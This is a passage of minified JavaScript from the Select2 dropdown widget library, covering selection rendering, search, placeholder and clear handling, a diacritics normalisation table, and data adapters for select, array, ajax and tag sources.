r(){r.__super__.constructor.apply(this,arguments)}n.Extend(r,t);r.prototype.render=function(){var e=r.__super__.render.call(this);e.addClass("select2-selection--single");e.html('<span class="select2-selection__rendered"></span>'+'<span class="select2-selection__arrow" role="presentation">'+'<b role="presentation"></b>'+"</span>");return e};r.prototype.bind=function(e,t){var n=this;r.__super__.bind.apply(this,arguments);var i=e.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",i).attr("role","textbox").attr("aria-readonly","true");this.$selection.attr("aria-labelledby",i);this.$selection.on("mousedown",(function(e){if(e.which!==1){return}n.trigger("toggle",{originalEvent:e})}));this.$selection.on("focus",(function(e){}));this.$selection.on("blur",(function(e){}));e.on("focus",(function(t){if(!e.isOpen()){n.$selection.trigger("focus")}}))};r.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty();e.removeAttr("title")};r.prototype.display=function(e,t){var n=this.options.get("templateSelection");var i=this.options.get("escapeMarkup");return i(n(e,t))};r.prototype.selectionContainer=function(){return e("<span></span>")};r.prototype.update=function(e){if(e.length===0){this.clear();return}var t=e[0];var n=this.$selection.find(".select2-selection__rendered");var i=this.display(t,n);n.empty().append(i);var r=t.title||t.text;if(r){n.attr("title",r)}else{n.removeAttr("title")}};return r}));n.define("select2/selection/multiple",["jquery","./base","../utils"],(function(e,t,n){function i(e,t){i.__super__.constructor.apply(this,arguments)}n.Extend(i,t);i.prototype.render=function(){var e=i.__super__.render.call(this);e.addClass("select2-selection--multiple");e.html('<ul class="select2-selection__rendered"></ul>');return e};i.prototype.bind=function(t,r){var s=this;i.__super__.bind.apply(this,arguments);this.$selection.on("click",(function(e){s.trigger("toggle",{originalEvent:e})}));this.$selection.on("click",".select2-selection__choice__remove",(function(t){if(s.isDisabled()){return}var i=e(this);var r=i.parent();var o=n.GetData(r[0],"data");s.trigger("unselect",{originalEvent:t,data:o})}))};i.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty();e.removeAttr("title")};i.prototype.display=function(e,t){var n=this.options.get("templateSelection");var i=this.options.get("escapeMarkup");return i(n(e,t))};i.prototype.selectionContainer=function(){var t=e('<li class="select2-selection__choice">'+'<span class="select2-selection__choice__remove" role="presentation">'+"×"+"</span>"+"</li>");return t};i.prototype.update=function(e){this.clear();if(e.length===0){return}var t=[];for(var i=0;i<e.length;i++){var r=e[i];var s=this.selectionContainer();var o=this.display(r,s);s.append(o);var a=r.title||r.text;if(a){s.attr("title",a)}n.StoreData(s[0],"data",r);t.push(s)}var l=this.$selection.find(".select2-selection__rendered");n.appendMany(l,t)};return i}));n.define("select2/selection/placeholder",["../utils"],(function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder"));e.call(this,t,n)}t.prototype.normalizePlaceholder=function(e,t){if(typeof t==="string"){t={id:"",text:t}}return t};t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();n.html(this.display(t));n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice");return n};t.prototype.update=function(e,t){var n=t.length==1&&t[0].id!=this.placeholder.id;var i=t.length>1;if(i||n){return e.call(this,t)}this.clear();var r=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(r)};return t}));n.define("select2/selection/allowClear",["jquery","../keys","../utils"],(function(e,t,n){function i(){}i.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n);if(this.placeholder==null){if(this.options.get("debug")&&window.console&&console.error){console.error("Select2: The `allowClear` option should be used in combination "+"with the `placeholder` option.")}}this.$selection.on("mousedown",".select2-selection__clear",(function(e){i._handleClear(e)}));t.on("keypress",(function(e){i._handleKeyboardClear(e,t)}))};i.prototype._handleClear=function(e,t){if(this.isDisabled()){return}var i=this.$selection.find(".select2-selection__clear");if(i.length===0){return}t.stopPropagation();var r=n.GetData(i[0],"data");var s=this.$element.val();this.$element.val(this.placeholder.id);var o={data:r};this.trigger("clear",o);if(o.prevented){this.$element.val(s);return}for(var a=0;a<r.length;a++){o={data:r[a]};this.trigger("unselect",o);if(o.prevented){this.$element.val(s);return}}this.$element.trigger("input").trigger("change");this.trigger("toggle",{})};i.prototype._handleKeyboardClear=function(e,n,i){if(i.isOpen()){return}if(n.which==t.DELETE||n.which==t.BACKSPACE){this._handleClear(n)}};i.prototype.update=function(t,i){t.call(this,i);if(this.$selection.find(".select2-selection__placeholder").length>0||i.length===0){return}var r=this.options.get("translations").get("removeAllItems");var s=e('<span class="select2-selection__clear" title="'+r()+'">'+"×"+"</span>");n.StoreData(s[0],"data",i);this.$selection.find(".select2-selection__rendered").prepend(s)};return i}));n.define("select2/selection/search",["jquery","../utils","../keys"],(function(e,t,n){function i(e,t,n){e.call(this,t,n)}i.prototype.render=function(t){var n=e('<li class="select2-search select2-search--inline">'+'<input class="select2-search__field" type="search" tabindex="-1"'+' autocomplete="off" autocorrect="off" autocapitalize="none"'+' spellcheck="false" role="searchbox" aria-autocomplete="list" />'+"</li>");this.$searchContainer=n;this.$search=n.find("input");var i=t.call(this);this._transferTabIndex();return i};i.prototype.bind=function(e,i,r){var s=this;var o=i.id+"-results";e.call(this,i,r);i.on("open",(function(){s.$search.attr("aria-controls",o);s.$search.trigger("focus")}));i.on("close",(function(){s.$search.val("");s.$search.removeAttr("aria-controls");s.$search.removeAttr("aria-activedescendant");s.$search.trigger("focus")}));i.on("enable",(function(){s.$search.prop("disabled",false);s._transferTabIndex()}));i.on("disable",(function(){s.$search.prop("disabled",true)}));i.on("focus",(function(e){s.$search.trigger("focus")}));i.on("results:focus",(function(e){if(e.data._resultId){s.$search.attr("aria-activedescendant",e.data._resultId)}else{s.$search.removeAttr("aria-activedescendant")}}));this.$selection.on("focusin",".select2-search--inline",(function(e){s.trigger("focus",e)}));this.$selection.on("focusout",".select2-search--inline",(function(e){s._handleBlur(e)}));this.$selection.on("keydown",".select2-search--inline",(function(e){e.stopPropagation();s.trigger("keypress",e);s._keyUpPrevented=e.isDefaultPrevented();var i=e.which;if(i===n.BACKSPACE&&s.$search.val()===""){var r=s.$searchContainer.prev(".select2-selection__choice");if(r.length>0){var o=t.GetData(r[0],"data");s.searchRemoveChoice(o);e.preventDefault()}}}));this.$selection.on("click",".select2-search--inline",(function(e){if(s.$search.val()){e.stopPropagation()}}));var a=document.documentMode;var l=a&&a<=11;this.$selection.on("input.searchcheck",".select2-search--inline",(function(e){if(l){s.$selection.off("input.search input.searchcheck");return}s.$selection.off("keyup.search")}));this.$selection.on("keyup.search input.search",".select2-search--inline",(function(e){if(l&&e.type==="input"){s.$selection.off("input.search input.searchcheck");return}var t=e.which;if(t==n.SHIFT||t==n.CTRL||t==n.ALT){return}if(t==n.TAB){return}s.handleSearch(e)}))};i.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex"));this.$selection.attr("tabindex","-1")};i.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)};i.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder","");e.call(this,t);this.$selection.find(".select2-selection__rendered").append(this.$searchContainer);this.resizeSearch();if(n){this.$search.trigger("focus")}};i.prototype.handleSearch=function(){this.resizeSearch();if(!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=false};i.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t});this.$search.val(t.text);this.handleSearch()};i.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";if(this.$search.attr("placeholder")!==""){e=this.$selection.find(".select2-selection__rendered").width()}else{var t=this.$search.val().length+1;e=t*.75+"em"}this.$search.css("width",e)};return i}));n.define("select2/selection/eventRelay",["jquery"],(function(e){function t(){}t.prototype.bind=function(t,n,i){var r=this;var s=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"];var o=["opening","closing","selecting","unselecting","clearing"];t.call(this,n,i);n.on("*",(function(t,n){if(e.inArray(t,s)===-1){return}n=n||{};var i=e.Event("select2:"+t,{params:n});r.$element.trigger(i);if(e.inArray(t,o)===-1){return}n.prevented=i.isDefaultPrevented()}))};return t}));n.define("select2/translation",["jquery","require"],(function(e,t){function n(e){this.dict=e||{}}n.prototype.all=function(){return this.dict};n.prototype.get=function(e){return this.dict[e]};n.prototype.extend=function(t){this.dict=e.extend({},t.all(),this.dict)};n._cache={};n.loadPath=function(e){if(!(e in n._cache)){var i=t(e);n._cache[e]=i}return new n(n._cache[e])};return n}));n.define("select2/diacritics",[],(function(){var e={"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"};return e}));n.define("select2/data/base",["../utils"],(function(e){function t(e,n){t.__super__.constructor.call(this)}e.Extend(t,e.Observable);t.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")};t.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")};t.prototype.bind=function(e,t){};t.prototype.destroy=function(){};t.prototype.generateResultId=function(t,n){var i=t.id+"-result-";i+=e.generateChars(4);if(n.id!=null){i+="-"+n.id.toString()}else{i+="-"+e.generateChars(4)}return i};return t}));n.define("select2/data/select",["./base","../utils","jquery"],(function(e,t,n){function i(e,t){this.$element=e;this.options=t;i.__super__.constructor.call(this)}t.Extend(i,e);i.prototype.current=function(e){var t=[];var i=this;this.$element.find(":selected").each((function(){var e=n(this);var r=i.item(e);t.push(r)}));e(t)};i.prototype.select=function(e){var t=this;e.selected=true;if(n(e.element).is("option")){e.element.selected=true;this.$element.trigger("input").trigger("change");return}if(this.$element.prop("multiple")){this.current((function(i){var r=[];e=[e];e.push.apply(e,i);for(var s=0;s<e.length;s++){var o=e[s].id;if(n.inArray(o,r)===-1){r.push(o)}}t.$element.val(r);t.$element.trigger("input").trigger("change")}))}else{var i=e.id;this.$element.val(i);this.$element.trigger("input").trigger("change")}};i.prototype.unselect=function(e){var t=this;if(!this.$element.prop("multiple")){return}e.selected=false;if(n(e.element).is("option")){e.element.selected=false;this.$element.trigger("input").trigger("change");return}this.current((function(i){var r=[];for(var s=0;s<i.length;s++){var o=i[s].id;if(o!==e.id&&n.inArray(o,r)===-1){r.push(o)}}t.$element.val(r);t.$element.trigger("input").trigger("change")}))};i.prototype.bind=function(e,t){var n=this;this.container=e;e.on("select",(function(e){n.select(e.data)}));e.on("unselect",(function(e){n.unselect(e.data)}))};i.prototype.destroy=function(){this.$element.find("*").each((function(){t.RemoveData(this)}))};i.prototype.query=function(e,t){var i=[];var r=this;var s=this.$element.children();s.each((function(){var t=n(this);if(!t.is("option")&&!t.is("optgroup")){return}var s=r.item(t);var o=r.matches(e,s);if(o!==null){i.push(o)}}));t({results:i})};i.prototype.addOptions=function(e){t.appendMany(this.$element,e)};i.prototype.option=function(e){var i;if(e.children){i=document.createElement("optgroup");i.label=e.text}else{i=document.createElement("option");if(i.textContent!==undefined){i.textContent=e.text}else{i.innerText=e.text}}if(e.id!==undefined){i.value=e.id}if(e.disabled){i.disabled=true}if(e.selected){i.selected=true}if(e.title){i.title=e.title}var r=n(i);var s=this._normalizeItem(e);s.element=i;t.StoreData(i,"data",s);return r};i.prototype.item=function(e){var i={};i=t.GetData(e[0],"data");if(i!=null){return i}if(e.is("option")){i={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")}}else if(e.is("optgroup")){i={text:e.prop("label"),children:[],title:e.prop("title")};var r=e.children("option");var s=[];for(var o=0;o<r.length;o++){var a=n(r[o]);var l=this.item(a);s.push(l)}i.children=s}i=this._normalizeItem(i);i.element=e[0];t.StoreData(e[0],"data",i);return i};i.prototype._normalizeItem=function(e){if(e!==Object(e)){e={id:e,text:e}}e=n.extend({},{text:""},e);var t={selected:false,disabled:false};if(e.id!=null){e.id=e.id.toString()}if(e.text!=null){e.text=e.text.toString()}if(e._resultId==null&&e.id&&this.container!=null){e._resultId=this.generateResultId(this.container,e)}return n.extend({},t,e)};i.prototype.matches=function(e,t){var n=this.options.get("matcher");return n(e,t)};return i}));n.define("select2/data/array",["./select","../utils","jquery"],(function(e,t,n){function i(e,t){this._dataToConvert=t.get("data")||[];i.__super__.constructor.call(this,e,t)}t.Extend(i,e);i.prototype.bind=function(e,t){i.__super__.bind.call(this,e,t);this.addOptions(this.convertToOptions(this._dataToConvert))};i.prototype.select=function(e){var t=this.$element.find("option").filter((function(t,n){return n.value==e.id.toString()}));if(t.length===0){t=this.option(e);this.addOptions(t)}i.__super__.select.call(this,e)};i.prototype.convertToOptions=function(e){var i=this;var r=this.$element.find("option");var s=r.map((function(){return i.item(n(this)).id})).get();var o=[];function a(e){return function(){return n(this).val()==e.id}}for(var l=0;l<e.length;l++){var u=this._normalizeItem(e[l]);if(n.inArray(u.id,s)>=0){var c=r.filter(a(u));var f=this.item(c);var d=n.extend(true,{},u,f);var h=this.option(d);c.replaceWith(h);continue}var p=this.option(u);if(u.children){var g=this.convertToOptions(u.children);t.appendMany(p,g)}o.push(p)}return o};return i}));n.define("select2/data/ajax",["./array","../utils","jquery"],(function(e,t,n){function i(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax"));if(this.ajaxOptions.processResults!=null){this.processResults=this.ajaxOptions.processResults}i.__super__.constructor.call(this,e,t)}t.Extend(i,e);i.prototype._applyDefaults=function(e){var t={data:function(e){return n.extend({},e,{q:e.term})},transport:function(e,t,i){var r=n.ajax(e);r.then(t);r.fail(i);return r}};return n.extend({},t,e,true)};i.prototype.processResults=function(e){return e};i.prototype.query=function(e,t){var i=[];var r=this;if(this._request!=null){if(n.isFunction(this._request.abort)){this._request.abort()}this._request=null}var s=n.extend({type:"GET"},this.ajaxOptions);if(typeof s.url==="function"){s.url=s.url.call(this.$element,e)}if(typeof s.data==="function"){s.data=s.data.call(this.$element,e)}function o(){var i=s.transport(s,(function(i){var s=r.processResults(i,e);if(r.options.get("debug")&&window.console&&console.error){if(!s||!s.results||!n.isArray(s.results)){console.error("Select2: The AJAX results did not return an array in the "+"`results` key of the response.")}}t(s)}),(function(){if("status"in i&&(i.status===0||i.status==="0")){return}r.trigger("results:message",{message:"errorLoading"})}));r._request=i}if(this.ajaxOptions.delay&&e.term!=null){if(this._queryTimeout){window.clearTimeout(this._queryTimeout)}this._queryTimeout=window.setTimeout(o,this.ajaxOptions.delay)}else{o()}};return i}));n.define("select2/data/tags",["jquery"],(function(e){function t(t,n,i){var r=i.get("tags");var s=i.get("createTag");if(s!==undefined){this.createTag=s}var o=i.get("insertTag");if(o!==undefined){this.insertTag=o}t.call(this,n,i);if(e.isArray(r)){for(var a=0;a<r.length;a++){var l=r[a];var u=this._normalizeItem(l);var c=this.option(u);this.$element.append(c)}}}t.prototype.query=function(e,t,n){var i=this;this._removeOldTags();if(t.term==null||t.page!=null){e.call(this,t,n);return}function r(e,s){var o=e.results;for(var a=0;a<o.length;a++){var l=o[a];var u=l.children!=null&&!r({results:l.children},true);var c=(l.text||"").toUpperCase();var f=(t.term||"").toUpperCase();var d=c===f;if(d||u){if(s){return false}e.data=o;n(e);return}}if(s){return true}var h=i.createTag(t);if(h!=null){var p=i.option(h);p.attr("data-select2-tag",true);i.addOptions([p]);i.insertTag(o,h)}e.results=o;n(e)}e.call(this,t,r)};t.prototype.createTag=function(t,n){var i=e.trim(n.term);if(i===""){return null}return{id:i,text:i}};t.prototype.insertTag=function(e,t,n){t.unshift(n)};t.prototype._removeOldTags=function(t){var n=this.$element.find("option[data-select2-tag]");n.each((function(){if(this.selected){return}e(this).remove()}))};return t}));n.define("select2/data/tokenizer",["jquery"],(function(e){function t(e,t,n){var i=n.get("tokenizer");if(i!==undefined){this.tokenizer=i}e.call(this,t,n)}t.prototype.bind=function(e,t,n){e.call(this,t,n);this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")};t.prototype.query=function(t,n,i){var r=this;function s(t){var n=r._normalizeItem(t);var i=r.$element.find("option").filter((function(){return e(this).val()===n.id}));if(!i.length){var s=r.option(n);s.attr("data-select2-tag",true);r._removeOldTags();r.addOptions([s])}o(n)}function o(e){r.trigger("select",{data:e})}n.term=n.term||"";var a=this.tokenizer(n,this.options,s);if(a.term!==n.term){if(this.$search.length){this.$search.val(a.term);this.$search.trigger("focus")}n.term=a.term}t.call(this,n,i)};t.prototype.tokenizer=function(t,n,i,r){var s=i.get("tokenSeparators")||[];var o=n.term;var a=0;var l=this.createTag||function(e){return{id:e.term,text:e.term}};while(a<o.length){var 